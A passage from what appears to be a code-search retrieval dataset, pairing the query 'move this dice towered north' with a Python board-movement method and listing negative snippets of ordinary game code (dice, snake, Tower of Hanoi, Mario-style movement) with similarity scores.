l\\n y, x = np.ogrid[-l:l, -l:l]\\n disc = x**2 + y**2\\n self['mask'] = disc < l**2\\n self['nmask'] = np.invert(self['mask'])\\n # self['image'] = np.tile(self.bgcolor[np.newaxis, ...], (2*l, 2*l, 1))\",\n \"def __init__(self,evo_conf,net_conf,obs_shape,action_shape):\\n\\n self.evo_conf = evo_conf\\n self.net_conf = net_conf\\n self.obs_shape = obs_shape\\n self.action_shape = action_shape\\n self.n_agents = self.evo_conf['n_agents']\\n self.p_mut_loc = self.evo_conf['p_mut_loc']\\n self.k_p_mut = self.evo_conf['k_p_mut']\\n self.minval = self.evo_conf['net_minval']\\n self.maxval = self.evo_conf['net_maxval']\\n self.val_buffer = self.evo_conf['val_buffer']\",\n \"def __init__(self, threshold=0.5, num_points=101, *args, **kwargs):\\n\\n self.threshold = threshold \\n self.num_points = num_points\\n self.IOU = IOU(average=False)\\n\\n self.result_dir = kwargs['result_dir']\\n final_shape = kwargs['final_shape']\\n #assuming model predictions are normalized between 0-1\\n self.scale = torch.Tensor([1, final_shape[0], final_shape[1], final_shape[0], final_shape[1]]) #[1, height, width, height, width]\\n\\n self.ndata = kwargs['ndata']\\n self.count = 0\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.5757932","0.56693465","0.56529826","0.55947787","0.55721635","0.55641013","0.5559697","0.55596286","0.55449086","0.5539916","0.55334955","0.5533059","0.5527372","0.55137396","0.5499857","0.5478546","0.5448861","0.543818","0.5419141","0.5394803","0.5394404","0.53921515","0.53888035","0.53752494","0.5373003","0.5371045","0.5366488","0.53616834","0.53513324","0.53499264","0.5345296","0.53409076","0.5308765","0.53064317","0.5295748","0.52920836","0.52829","0.52626735","0.526241","0.52568406","0.5239924","0.52386063","0.5229935","0.5227453","0.5221896","0.5221829","0.5220798","0.5214039","0.52108675","0.5201123","0.52000314","0.51861095","0.5184316","0.51701105","0.5168549","0.51672363","0.5165888","0.5165268","0.51651806","0.5156929","0.51510173","0.5144127","0.514145","0.51393175","0.5133339","0.512285","0.5115382","0.51141226","0.51131046","0.5108835","0.51078904","0.5103643","0.5103555","0.50992054","0.5098586","0.50910574","0.50882864","0.508456","0.5081961","0.50759244","0.5073062","0.50706553","0.5067236","0.50610524","0.5059297","0.50575036","0.50554806","0.5054655","0.5051755","0.50485593","0.50483906","0.5048172","0.50470126","0.5043372","0.50405914","0.5039767","0.5036806","0.5028985","0.5024911","0.50247586"],"string":"[\n \"0.5757932\",\n \"0.56693465\",\n \"0.56529826\",\n \"0.55947787\",\n \"0.55721635\",\n \"0.55641013\",\n \"0.5559697\",\n \"0.55596286\",\n \"0.55449086\",\n \"0.5539916\",\n \"0.55334955\",\n \"0.5533059\",\n \"0.5527372\",\n \"0.55137396\",\n \"0.5499857\",\n \"0.5478546\",\n \"0.5448861\",\n \"0.543818\",\n \"0.5419141\",\n \"0.5394803\",\n \"0.5394404\",\n \"0.53921515\",\n \"0.53888035\",\n \"0.53752494\",\n \"0.5373003\",\n \"0.5371045\",\n \"0.5366488\",\n \"0.53616834\",\n \"0.53513324\",\n \"0.53499264\",\n \"0.5345296\",\n \"0.53409076\",\n \"0.5308765\",\n \"0.53064317\",\n \"0.5295748\",\n \"0.52920836\",\n \"0.52829\",\n \"0.52626735\",\n \"0.526241\",\n \"0.52568406\",\n \"0.5239924\",\n \"0.52386063\",\n \"0.5229935\",\n \"0.5227453\",\n \"0.5221896\",\n \"0.5221829\",\n \"0.5220798\",\n \"0.5214039\",\n \"0.52108675\",\n \"0.5201123\",\n \"0.52000314\",\n \"0.51861095\",\n \"0.5184316\",\n \"0.51701105\",\n \"0.5168549\",\n \"0.51672363\",\n \"0.5165888\",\n \"0.5165268\",\n \"0.51651806\",\n \"0.5156929\",\n \"0.51510173\",\n \"0.5144127\",\n \"0.514145\",\n \"0.51393175\",\n \"0.5133339\",\n \"0.512285\",\n \"0.5115382\",\n \"0.51141226\",\n \"0.51131046\",\n \"0.5108835\",\n \"0.51078904\",\n \"0.5103643\",\n \"0.5103555\",\n \"0.50992054\",\n \"0.5098586\",\n \"0.50910574\",\n \"0.50882864\",\n \"0.508456\",\n \"0.5081961\",\n \"0.50759244\",\n \"0.5073062\",\n \"0.50706553\",\n \"0.5067236\",\n \"0.50610524\",\n \"0.5059297\",\n \"0.50575036\",\n \"0.50554806\",\n \"0.5054655\",\n \"0.5051755\",\n \"0.50485593\",\n \"0.50483906\",\n \"0.5048172\",\n \"0.50470126\",\n \"0.5043372\",\n \"0.50405914\",\n \"0.5039767\",\n \"0.5036806\",\n \"0.5028985\",\n \"0.5024911\",\n \"0.50247586\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.56655514"},"document_rank":{"kind":"string","value":"2"}}},{"rowIdx":15382,"cells":{"query":{"kind":"string","value":"move this dice towered north"},"document":{"kind":"string","value":"def move_south(self):\n self.vertical = (self.vertical * 2)[3:7]\n self.horizontal[1] = self.vertical[0]\n self.horizontal[3] = self.vertical[2]"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def move(self):\n \n self.position = self.wander()","def turn(self):\r\n # 1 throw the dice\r\n if (\r\n not self.player_list[self.current_player].is_in_jail()\r\n or self.try_leave_jail()\r\n ):\r\n thr = Throw()\r\n while thr is not None:\r\n # check in where the current player will land\r\n new_position = self.compute_new_position_from_dice(\r\n self.current_player, thr\r\n )\r\n self.move_player_to(self.current_player, new_position, thr=thr)\r\n\r\n if thr.is_double():\r\n thr = Throw()\r\n else:\r\n thr = None\r\n print(\"------------------------------\")\r\n\r\n self.player_observable_variables()\r\n\r\n # move turn to next player\r\n self.current_player += 1\r\n if self.current_player >= len(self.player_list):\r\n self.current_player = 0\r\n self.full_turn_count += 1\r\n print(\"**********************\")\r\n print(\r\n \"Full turn:\",\r\n self.full_turn_count,\r\n \"\\n\",\r\n \"\\n\".join(map(lambda x: x.full(), self.player_list)),\r\n )\r\n print(\"**********************\")","def move(self):\n if random.random() < 0.5:\n self.y = (self.y + 1) % 100\n else:\n self.y = (self.y - 1) % 100\n if random.random() < 0.5:\n self.x = (self.x + 1) % 100\n else:\n self.x = (self.x - 1) % 100","def throw(self, move):\n for dice_index in move:\n self.dice[dice_index - 1] = random.randint(1,6)","def move(self):\n if self._z >= 75:\n a = random.random()\n print(str(a))\n if a < 0.2:\n self._z += 1\n if a > 0.2 and a < 0.9:\n self._z -= 1\n if a > 0.9:\n self._z = self._z\n else: \n self._z -= 1\n \n b = random.random()\n print(str(b))\n if b < 0.1:\n self._y += 1\n if b > 0.1 and b < 0.2:\n self._y -= 1\n if b > 0.2 and b < 0.25:\n self._x -= 1\n if b > 0.25:\n self._x += 1","def move(self):\n\n # get the location we WOULD go to\n newX = self.xcor() + self.dx\n newY = self.ycor() + self.dy\n while (abs (newX) > self.BOX_RANGE) or (abs(newY) > self.BOX_RANGE):\n # print(\"choosing new direction... \",end=\"\")\n self.chooseNewDirection()\n # print(self.dx, self.dy)\n newX = self.xcor() + self.dx\n newY = self.ycor() + self.dy\n\n # now move our monster\n super().move()","def shift_board(self, dx, dy):\n super().shift_board(dx, dy)\n self.goals = np.roll(self.goals, dy, axis=0)\n self.goals = np.roll(self.goals, dx, axis=1)","def move(self):\n if self.adjustment > 0:\n # The player moves up a ladder\n old_position = self.position\n # In the next move, player on top of ladder\n\n self.position = old_position - self.dropped_steps\n # player drops steps\n super().move()\n # player move\n die = self.position - old_position + self.dropped_steps - \\\n self.adjustment\n \"\"\" \n the current position of the player is: old position - \n dropped_steps + die + adjustment. Rearranging to find the die.\n \n \"\"\"\n if die < self.dropped_steps:\n self.position = old_position\n # if die is less than dropped_steps, the player will stand still.\n else:\n super().move()\n # if not climbling a ladder, then the player make a regular move","def move(self):\n assert self.is_alive, \"Sprite is dead, and should not be able to move\"\n if self.health > 3:\n self.y += random.randint(-1, 1) # change by -1, 0, 1\n self.x += random.randint(-1, 1) # change by -1, 0, 1\n print(self.name, \"moves to position\", str(self.x), \",\", str(self.y))","def _move_randomly(self):\n a, b = randint(0, len(self.state) - 1), randint(0, len(self.state) - 1)\n wiz1, wiz2 = self.state[a], self.state[b]\n self._swap_wizards(wiz1, wiz2)","def move(self):\r\n if self.d == 'NORTH' and (self.y + 1) <= table_max_y:\r\n self.y += 1\r\n elif self.d == 'EAST' and (self.x + 1) <= table_max_x:\r\n self.x += 1\r\n elif self.d == 'SOUTH' and (self.y - 1) >= 0:\r\n self.y -= 1\r\n elif self.d == 'WEST' and (self.x - 1) >= 0:\r\n self.x -= 1\r\n else:\r\n print(\"Edge of Table Reached!\")","def shift_board(self, dx, dy):\n self.board = np.roll(self.board, dy, axis=0)\n self.board = np.roll(self.board, dx, axis=1)\n self.agent_locs += [dy, dx]\n self.agent_locs %= self.board.shape\n self.update_exit_locs()","def turn_ship_right(self):\n self.degrees -= movement","def move(self, direction):\n newx = self.x\n newy = self.y\n newy += random.randint(-1, 1)\n newx += random.randint(-1, 1)\n if self.tmap.contents[newy][newx] != '#':\n self.x = newx\n self.y = newy","def move(self):\n pass","def _move(self, event):\n if self._current_tower.get_value() > self._coins:\n return\n\n #move the shadow tower to mouse position\n position = event.x, event.y\n self._current_tower.position = position\n\n legal, grid_path = self._game.attempt_placement(position)\n\n #find the best path and covert positions to pixel positions\n path = [self._game.grid.cell_to_pixel_centre(position)\n for position in grid_path.get_shortest()]\n\n #Task 1.2 (Tower placement): Draw the tower preview here\n self._view.draw_preview(self._current_tower, legal)\n self._view.draw_path(path)","def move_tie_fighters(self):\n for i in range(len(self.tie_fighters)):\n self.tie_fighters[i].move_tie_fighter()","def make_turn(self):\n # if play first, start in the middle\n if np.count_nonzero(self.board) == 0:\n self.place_disc(self.board.shape[1] / 2)\n return 1\n\n\n # win if possible\n for try_column in range(0,self.board.shape[1]):\n if 0 == self.board[0, try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, self.id())\n if dhw.did_he_win(new_board, self.id(), try_column):\n self.place_disc(try_column)\n return 1\n\n # don't loose if in danger\n for try_column in range(0, self.board.shape[1]):\n if 0 == self.board[0,try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id())\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\n self.place_disc(try_column)\n return 1\n\n # don't fall in trap!\n forbidden_columns = []\n for try_column in range(0, self.board.shape[1]):\n if 0 == self.board[0,try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, self.id()) # my move\n new_board = self.simulate_place_disc(new_board, try_column, 3 - self.id()) # enemy move\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\n\n # don't ruin my trap\n for try_column in range(0, self.board.shape[1]):\n if 0 == self.board[0,try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id()) # 'my' move\n new_board = self.simulate_place_disc(new_board, try_column, self.id()) # my move\n if dhw.did_he_win(new_board, self.id(), try_column):\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\n\n # allow forbidden_columns if no other choice\n if np.count_nonzero(self.board[0, :]) == self.board.shape[1] - len(forbidden_columns):\n forbidden_columns = []\n\n # otherwise, play randomly\n rannum = random.randrange(7)\n while 0 != self.board[0, rannum] or rannum in forbidden_columns:\n rannum = random.randrange(7)\n self.place_disc(rannum)\n return 1","def fireSouth(self):\n self.rotate('s')\n gun = Laser(self)\n gun.shoot('s')\n self.agent.actionCompleted()","def move(self):\n self._move_range_shuffle(3)\n self._move_satisfy_random_constraint()\n # self._move_range_shuffle(3)\n #if (curr_energy > 50):\n # self._move_satisfy_random_constraint()\n #else:\n # self._move_range_shuffle(3)","def force_move():\n if ZERO_BASE_PLYR_POS in range(0, 10):\n # we cant go up, so go down\n move_player(\"south\")\n else:\n move_player(\"north\")","def turn_ship_left(self):\n self.degrees += movement","def movement(self):","def move(self):\n \n # checks for bots nearby\n next_move = self.follow()\n \n # finds a random move if no bot\n if next_move is self.position:\n self.position = self.wander()\n else:\n self.position = next_move","def migration(self):\n\n coordinates = self.get_random_coordinates()\n for coordinate in coordinates:\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\n self.cell_move_herbivores(coordinate)\n self.cell_move_carnivores(coordinate)\n\n for coordinate in coordinates:\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\n self.cells[coordinate].move_new_animals()","def move(x,y):\r\n pass","def make_move(self, move):\n self.board[int(move) - 1] = self.nplayer","def move(self, direction):\n # replace with your code\n pass","def move(self, direction):\n # replace with your code\n pass","def fireNorth(self):\n self.rotate('n')\n gun = Laser(self)\n gun.shoot('n')\n self.agent.actionCompleted()","def makeMove(self, move, player):","def move(t, length):\n pu(t)\n\t\n fd(t, length)\n pd(t)","def move_north(self):\r\n self.move(dx=0, dy=-1)","def steerright(self):\n self.direction = self.direction-self.steering\n if self.direction < 0:\n self.direction = 360-90\n self.image, self.rect = rot_center(self.image_orig,self.rect,self.direction)","def move_lift_ground():\n return _move_lift(0)","def AeroMove(self, pos):\r\n\r\n pass","def start_roll(self):\n\t\tprint(\"Die started!\")\n\t\tself.rolling = True\n\t\tpygame.time.set_timer(ROLL_DIE, self.roll_speed)","def make_move(self, direction):\r\n\t\tif direction == 0:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x-1][self.y] = self.board[self.x-1][self.y], self.board[self.x][self.y]\r\n\t\t\tself.x -= 1\r\n\r\n\t\telif direction == 1:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x][self.y+1] = self.board[self.x][self.y+1], self.board[self.x][self.y]\r\n\t\t\tself.y += 1\r\n\r\n\t\telif direction == 2:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x+1][self.y] = self.board[self.x+1][self.y], self.board[self.x][self.y]\r\n\t\t\tself.x += 1\r\n\r\n\t\telif direction == 3:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x][self.y-1] = self.board[self.x][self.y-1], self.board[self.x][self.y]\r\n\t\t\tself.y -= 1","def fireWest(self):\n self.rotate('w')\n gun = Laser(self)\n gun.shoot('w')\n self.agent.actionCompleted()","def make_move(self, tower):\r\n height, index = self.__find_random_moves(tower)\r\n \r\n if self.stat_brain.all_valid(tower) == 0 or self.stat_brain.is_valid(height, index, tower):\r\n return height, index\r\n else:\r\n while not self.stat_brain.is_valid(height, index, tower):\r\n height, index = self.__find_random_moves(tower)\r\n \r\n return height, index","def move_draught_end(event):\n global red_draughts, white_draughts\n global board_array\n global old_point\n global die_1_num, die_2_num, doubles\n draught = board.find_withtag(CURRENT)[0]\n #Figure out which point they want to put it on\n bottom = (event.y-click_offset[1] >= board_height//2)\n point_left_edges = [board_divisions*i for i in xrange(0,15) if i != 7]\n is_red = draught in red_draughts\n if bottom == False:\n new_point = 12+point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0])))\n else:\n new_point = 13-point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0]))) \n #Check legality\n if(board_array[new_point][1] > 1 and is_red) or (board_array[new_point][0] > 1 and not is_red): #if too many opposite color on square\n draw_draughts()\n return\n if(board_array[0][0] > 0 and is_red and old_point != 0)or(board_array[25][1] > 0 and not is_red and old_point != 25):#Obligated to move off bar first\n draw_draughts()\n return\n if(new_point == 0 and not is_red): #if white trying to bear off\n for i in xrange(7,26):\n if(board_array[i][1] > 0): #If white has a piece outside home, can't bear off\n draw_draughts()\n return\n if(new_point == 25 and is_red): #if red trying to bear off\n for i in xrange(0,18):\n if(board_array[i][0] > 0): #If red has a piece outside home, can't bear off\n draw_draughts()\n return \n \n if(new_point-old_point == die_1_num and is_red) or (old_point-new_point == die_1_num and not is_red):\n if(doubles == False) or (die_2_num != 0):\n die_1_num = 0\n else: \n die_2_num = die_1_num\n doubles = False\n elif(new_point-old_point == die_2_num and is_red) or (old_point-new_point == die_2_num and not is_red):\n if(doubles == False) or (die_1_num != 0):\n die_2_num = 0\n else: \n die_1_num = die_2_num\n doubles = False\n else: #Can't move there on this roll\n draw_draughts()\n return\n update_dice()\n #Update board_array\n if is_red:\n board_array[old_point][0] -= 1\n board_array[new_point][0] += 1\n if(board_array[new_point][1] == 1): #Handle hits\n board_array[new_point][1] -= 1\n board_array[25][1] += 1\n else:\n board_array[old_point][1] -= 1\n board_array[new_point][1] += 1\n if(board_array[new_point][0] == 1): #Handle hits\n board_array[new_point][0] -= 1\n board_array[0][0] += 1\n\n draw_draughts()\n if(die_1_num == 0 and die_2_num == 0):\n comp_turn()","def move_marble(self, coordinates, direction):\n pass","def movement(self):\n self.rect.left -= self.speedx #to move the asteroid to the left","def hanoi_tower(n):\n def move_tower(height, from_pole, to_pole, with_pole):\n if height >= 1:\n move_tower(height-1, from_pole, with_pole, to_pole)\n move_disc(from_pole, to_pole, height)\n move_tower(height-1, with_pole, to_pole, from_pole)\n\n def move_disc(fp, tp, height):\n tp.append(fp.pop())\n show_poles()\n\n def show_poles():\n line = \"\"\n line += '{:<{}s}'.format(str(a), str_len)\n line += '{:<{}s}'.format(str(b), str_len)\n line += '{:<{}s}'.format(str(c), str_len)\n print(line)\n\n a = list(range(n, 0, -1))\n b = []\n c = []\n str_len = len(str(a))\n\n show_poles()\n move_tower(n, a, c, b)\n print('\\n')","def wander(self, speed: float = 1.):\n pos = np.array(self.pos)\n\n random_heading = random.random() * 2 * np.pi\n rand_vector = speed * np.array([np.cos(random_heading), np.sin(random_heading)])\n target_location = pos + rand_vector\n target_location = np.clip(target_location, [0, 0], [99.9, 99.9])\n self.model.space.move_agent(self, target_location)\n return","def random_move(turtle, distance):\n angle = uniform(-90,90)\n d = uniform(0,distance)\n turtle.left(angle)\n turtle.forward(d)","def move(self, row, col, player):","def __snake_move(self):\n self.__eat_candy()\n # move tail and body\n n_snake = len(self.__snake)\n for i in range(1, n_snake):\n s2 = self.__snake[n_snake - i]\n s1 = self.__snake[n_snake - i - 1]\n s2.move(s1.pos())\n # move head\n pos = self.__snake[0].pos()\n tmp_snake = Snake(self, direction=self.__h_direction, position=pos)\n h_pos = self.__get_next_head_pos(tmp_snake)\n tmp_snake.remove()\n icon = f'resources/{self.__directions[self.__h_direction]}.svg'\n new_head = Snake(self, icon, self.__h_direction, self.__cell_edge, h_pos)\n old_head = self.__snake[0]\n self.__snake[0] = new_head\n old_head.remove()\n self.__crash_check()","def move(self):\n self.pos += self.direc\n self.nearest_node = self.pixel_to_node()","def roll_dices(self):\n dice1 = random.randint(1, 6)\n dice2 = random.randint(1, 6)\n\n self.client.send_player_end_dices()\n self.game.player_rolled_dices([dice1, dice2])\n asyncio.ensure_future(self.move(dice1 + dice2))","def move(self, direction: str) -> int:\n x, y = self.snake[-1][0] + self.dirs[direction][0], self.snake[-1][1] + self.dirs[direction][1]\n # print(x,y)\n # went out bound\n if x >= self.n or y >= self.m or x < 0 or y < 0:\n return -1\n tail = self.snake.popleft()\n self.snake_set.discard(tail)\n if (x, y) in self.snake_set:\n return -1\n\n if len(self.food) > 0 and (x, y) == (self.food[0][0], self.food[0][1]):\n self.food.popleft()\n self.snake.appendleft(tail)\n self.snake_set.add(tail)\n self.snake.append((x, y))\n self.snake_set.add((x, y))\n\n return len(self.snake) - 1","def example_move(self):\n self.right() # start rotating right\n time.sleep(1) # turn for a second\n self.stop() # stop\n self.servo(1000) # look right\n time.sleep(.25) # give your head time to move\n self.servo(2000) # look left","def example_move(self):\n self.right() # start rotating right\n time.sleep(1) # turn for a second\n self.stop() # stop\n self.servo(1000) # look right\n time.sleep(.25) # give your head time to move\n self.servo(2000) # look left","def moveNorth(self):\n self._move('n', - Tile.VerticalDifference)","def walk(self):\n # === Choose direction ===\n # Increase probability of movement relative to map dimensions\n v_move = self.width / self.height\n h_move = self.height / self.width\n north, south, east, west = v_move, v_move, h_move, h_move\n\n # Weight the random walk against the edges\n if self.drunkard_x < self.width * 0.25: # far left side of map\n east += self.weighted_toward_center\n elif self.drunkard_x > self.width * 0.75: # far right side of map\n west += self.weighted_toward_center\n if self.drunkard_y < self.height * 0.25: # top of the map\n south += self.weighted_toward_center\n elif self.drunkard_y > self.height * 0.75: # bottom of the map\n north += self.weighted_toward_center\n\n # Weight in favor of the previous direction\n if self._prev_direction == \"north\":\n north += self.weighted_toward_prev_direction\n if self._prev_direction == \"south\":\n south += self.weighted_toward_prev_direction\n if self._prev_direction == \"east\":\n east += self.weighted_toward_prev_direction\n if self._prev_direction == \"west\":\n west += self.weighted_toward_prev_direction\n\n weights = [south, north, east, west]\n moves = {\"south\": (0, 1), \"north\": (0, -1), \"east\": (1, 0), \"west\": (-1, 0)}\n\n direction = choices(list(moves.keys()), weights)[0]\n dx, dy = moves[direction]\n\n # === Walk ===\n # check collision at edges\n if (1 < self.drunkard_x + dx < self.width - 1) and (1 < self.drunkard_y + dy < self.height - 1):\n self.drunkard_x += dx\n self.drunkard_y += dy\n if self.tiles[self.drunkard_x][self.drunkard_y]:\n self.tiles[self.drunkard_x][self.drunkard_y].carve()\n self._tiles_filled += 1\n self._prev_direction = direction","def move(self, direction, cycles):\n\t\tpass","def autoMove(self) :\n\n\t\tdx = Places.getLoc(self.targetPlace)[0] - self.avatarNP.getX()\n\t\tdy = Places.getLoc(self.targetPlace)[1] - self.avatarNP.getY()\n\t\tdist = math.sqrt(dx*dx + dy*dy)\n\t\th0 = self.avatarNP.getH()\n\t\tif dist < 4 :\n\t\t\t# pick new target and determine deltaH\n\t\t\tnbors = Places.getNeighbors(self.targetPlace)\n\t\t\tx = random.randint(0,len(nbors)-1)\n\t\t\tif nbors[x] == self.oldPlace :\n\t\t\t\tx = (1 if x == 0 else x-1)\n\t\t\tt = nbors[x]\n\t\t\th = self.heading(\n\t\t\t\tself.avatarNP.getX(), self.avatarNP.getY(),\n\t\t\t\tPlaces.getLoc(t)[0], Places.getLoc(t)[1])\n\t\t\tself.deltaH = h - h0\n\t\t\tif self.deltaH > 180 : self.deltaH -= 360\n\t\t\telif self.deltaH < -180 : self.deltaH += 360\n\t\t\tself.deltaH /= 2\n\t\t\tself.oldPlace = self.targetPlace\n\t\t\tself.targetPlace = t\n\t\t\tself.turning = True\n\n\t\t# adjust heading and position\n\t\tt = self.targetPlace\n\t\th = self.heading(self.avatarNP.getX(), self.avatarNP.getY(),\n\t\t\t\t Places.getLoc(t)[0], Places.getLoc(t)[1])\n\t\tdh1 = h - h0\n\t\tif dh1 > 180 : dh1 -= 360\n\t\telif dh1 < -180 : dh1 += 360\n\t\tif self.turning :\n\t\t\tdh2 = self.deltaH * globalClock.getDt()\n\t\t\tif math.fabs(dh1) <= math.fabs(dh2) : \n\t\t\t\tself.turning = False\n\t\t\telse :\n\t\t\t\th = h0 + dh2\n\t\tself.avatarNP.setH(h)\n\t\tself.avatarNP.setFluidY(self.avatarNP,-2 * globalClock.getDt())\n\t\t\n\t\treturn\n\n\t\t\"\"\"\n\t\tif self.rotateDir == -1:\n\t\t\tself.rotateDir = random.randint(1,25) #chances to rotate\n\t\tif self.rotateDuration == -1:\n\t\t\tself.rotateDuration = random.randint(200,400)\n\n\t\t# guide the moving direction of the bot\n\t\tif self.rotateDir <= 3 : # turn left\n\t\t\tself.avatarNP.setH(self.avatarNP.getH() + \\\n\t\t\t\t\t 40 * globalClock.getDt())\n\t\t\tself.rotateDuration -= 1\n\t\t\tif self.rotateDuration <= 0:\n\t\t\t\tself.rotateDuration = -1\n\t\t\t\tself.rotateDir = -1\n\t\telif self.rotateDir <= 6 : # turn right\n\t\t\tself.avatarNP.setH(self.avatarNP.getH() - \\\n\t\t\t\t\t 50 * globalClock.getDt())\n\t\t\tself.rotateDuration -= 1\n\t\t\tif self.rotateDuration <= 0:\n\t\t\t\tself.rotateDuration = -1\n\t\t\t\tself.rotateDir = -1\n\t\telif self.rotateDir == 7 : # turn big left\n\t\t\tself.avatarNP.setH(self.avatarNP.getH() + \\\n\t\t\t\t\t 102 * globalClock.getDt())\n\t\t\tself.rotateDuration -= 1\n\t\t\tif self.rotateDuration <= 0:\n\t\t\t\tself.rotateDuration = -1\n\t\t\t\tself.rotateDir = -1\n\t\telif self.rotateDir == 8 : # turn big right\n\t\t\tself.avatarNP.setH(self.avatarNP.getH() - \\\n\t\t\t\t\t 102 * globalClock.getDt())\n\t\t\tself.rotateDuration -= 1\n\t\t\tif self.rotateDuration <= 0:\n\t\t\t\tself.rotateDuration = -1\n\t\t\t\tself.rotateDir = -1\n\t\telse :\n\t\t\tself.rotateDuration -= 1\n\t\t\tif self.rotateDuration <= 0:\n\t\t\t\tself.rotateDuration = -1\n\t\t\t\tself.rotateDir = -1\n\t\t\tself.avatarNP.setFluidPos(self.avatarNP, 0,\n\t\t\t\t\t-1 * globalClock.getDt(),\n\t\t\t\t\tself.avatarNP.getZ() )\n\t\t# moving forward\n\t\t#self.avatarNP.setFluidPos(self.avatarNP, 0,\n\t#\t\t\t\t-1 * globalClock.getDt(),\n\t#\t\t\t\tself.avatarNP.getZ() )\n\t\treturn\n\t\t\"\"\"","def next_turn(self): \n if (self.moves):\n self.board = self.select_move() \n self.moves = []\n self.roll = self.roll_dice()\n self.player = not self.player\n self.generate_valid_moves()","def move(self, is_forward):\n wh, lh = self.get_heading\n self.w += wh\n self.l += lh\n if self.get_pos() == blocks['wall']:\n self.w -= wh\n self.l -= lh","def move_repeatedly():\n check = check50.run(run_command)\n check.stdin(\"WEST\").stdout(room_2_description)\n check.stdin(\"EAST\").stdout(room_1_name)\n check.stdin(\"WEST\").stdout(room_2_name)","def move_north(self):\n self.vertical = (self.vertical * 2)[1:5]\n self.horizontal[1] = self.vertical[0]\n self.horizontal[3] = self.vertical[2]","def ran_direction(self,room):\r\n ran_dirt = self.random()\r\n if 1 == ran_dirt: \r\n room.front_attch(True)\r\n elif 2 == ran_dirt: \r\n room.back_attch(True)\r\n elif 3 == ran_dirt: \r\n room.left_attch(True)\r\n elif 4 == ran_dirt: \r\n room.right_attch(True)\r\n return room","def _move_forward(self):\n\t\tself.x,self.y = Mario._get_coordinates(Board.prev_i,Board.prev_j,Board.prev_k)\n\t\tif(self.y<=798):\n\t\t\tself.y = self.y+1\n\t\t\tif Board.board[self.x][self.y]=='0':\n\t\t\t\tMario.score += 1\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x][self.y]='M'\n\n\t\t\telif Board.board[self.x][self.y]=='P':\n\t\t\t\tMario.lives+=1\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x][self.y]='M'\n\t\t\t\tcall([\"aplay\",\"-q\",\"smb_1-up.wav\"])\n\n\t\t\telif Board.board[self.x][self.y]=='A':\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x][self.y]='M'\n\t\t\t\tMario.attack = 1\n\t\t\t\tcall([\"aplay\",\"-q\",\"smb_powerup.wav\"])\n\n\t\t\telif Board.board[self.x][self.y]=='@':\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tMario.lives-=1\n\t\t\t\tcall([\"aplay\",\"-q\",\"smb_mariodie.wav\"])\n\t\t\t\tif Mario.lives<=0:\n\t\t\t\t\tcall([\"aplay\",\"-q\",\"smb_gameover.wav\"])\n\t\t\t\t\treturn \"exit\"\n\t\t\t\tos.system('clear')\n\t\t\t\tprint(\"\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\t\\t\\t\\t\\t\\tNumber of Mario left\",Mario.lives)\n\t\t\t\tMario.respawn(self.x,self.y)\n\t\t\t\ttime.sleep(2)\n\t\t\t\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\n\n\t\t\telif(Board.board[self.x][self.y]=='/'):\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x-1][self.y]='M'\n\n\t\t\telif Board.board[self.x][self.y]=='I':\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tcall([\"aplay\",\"-q\",\"smb_stage_clear.wav\"])\n\t\t\t\tBoard.bonus_round()\n\n\t\t\telif Board.board[self.x][self.y]=='K':\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tcall([\"aplay\",\"-q\",\"smb_stage_clear.wav\"])\n\t\t\t\tenemy.boss_round()\n\n\t\t\telif(Board.board[self.x][self.y] in obstacles):\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x][self.y-1]='M'\n\n\t\t\telif((Board.board[self.x+1][self.y-1]=='/' or Board.board[self.x+1][self.y-1]=='T') and Board.board[self.x+1][self.y]==' '):\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x][self.y+1]='M'\n\t\t\t\tMario.go_down(self)\n\t\t\telse:\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x][self.y]='M'\n\n\t\tif( self.y-1 >= ((Board.prev_j+Board.prev_k)/2) ):\n\t\t\tos.system('clear')\n\t\t\tBoard.prev_j += 1 \n\t\t\tBoard.prev_k += 1\n\t\t\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\n\t\telse:\n\t\t\tos.system('clear')\n\t\t\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)","def __random_movement(self):\n\t\tself.__steps += 1 \t\t# Increment after every frame\n\t\t# When __steps greater than threshold reverse the direction\n\t\t# and set threshold to a new random value\n\t\tif self.__steps >= self.__threshold_steps:\t\n\t\t\tif self.direction == 'RIGHT':\n\t\t\t\tself.move_left()\n\t\t\t\tself.direction = 'LEFT'\n\t\t\telse:\n\t\t\t\tself.move_right()\n\t\t\t\tself.direction = 